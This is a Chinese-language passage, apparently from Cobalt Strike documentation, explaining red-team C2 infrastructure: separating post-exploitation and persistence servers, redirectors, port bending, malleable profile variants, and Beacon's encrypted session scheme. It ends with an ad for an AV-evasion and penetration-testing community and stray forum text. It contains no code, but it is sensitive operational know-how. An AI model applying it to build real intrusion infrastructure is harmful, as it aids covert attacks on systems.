比如,将你 的后渗透基础设施和持久化基础设施分开。如果一个后渗透行为被发现,这个基础设施将被重建。一些行动阶段要求多个重定向器和通信通道选项。
我们可以将多个 HTTP、HTTPS 和 DNS 监听器绑定到一个单独的 Cobalt Strike 团队服务器。这些 payload 在它们的配置中也支持端口弯曲(port bending)。
这允许在你的重定向器和 C2 设置中使用 与你的通信通道(80,443或53)共同的端口,但是最好把这些监听器绑定到不同的端口以避免你的团 队服务器系统中发生端口冲突。
为了使你的网络流量指标多样化,Cobalt Strike 的 C2 拓展文件可能包含多种变体。
变体是一种将当前文件的变量加到一个配置文件中的方法
当你定义每个 HTTP 或 HTTPS Beacon 监听器时,
你可以指定 一个配置文件变体。此外,你可以在一个团队服务器上定义多个 TCP 和 SMB Beacon,每一个都使用不同的管道和端口设 置。任一个来自同一团队服务器的出口 Beacon,一旦它们被部署在目标环境中,那么都可以控制任何 一个这些 TCP 和 SMB Beacon 的 payload。
Payload 安全特性
Cobalt Strike 采取措施保护 Beacon 的通信,确保 Beacon 只能接收来自其团队服务器的任务并且只能 将结果发送至其团队服务器。首次设置 Beacon payload 时,Cobalt Strike 会生成一个团队服务器专有的公钥/私钥对。团队服务器 的公钥会嵌入 Beacon 的 payload stage。Beacon
使用团队服务器的公钥来加密发送到团队服务器的 会话元数据。Beacon 必须在团队服务器可以发出任务和接收来自 Beacon 会话的输出之前持续发送会话元数据。此 元数据包含一个由 Beacon 生成的随机会话秘钥。团队服务器使用每个 Beacon 的会话秘钥来加密任务 并解密输出。每个 Beacon 都使用这种相同的方案来实现数据通道。当在混合 HTTP 和 DNS
Beacon 中使用记录 (A、AAAA、TXT)数据通道时,你有和使用 HTTPS Beacon 同样的安全保护。请注意,当 Beacon 分阶段时,payload stager 因为其体积原因,没有这些内建的安全特性。
渗透测试 红队攻防 免杀 权限维持 等等技术
及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!
进来一起学习吧

我要回帖

更多关于 星际公民怎么接任务 的文章

 

随机推荐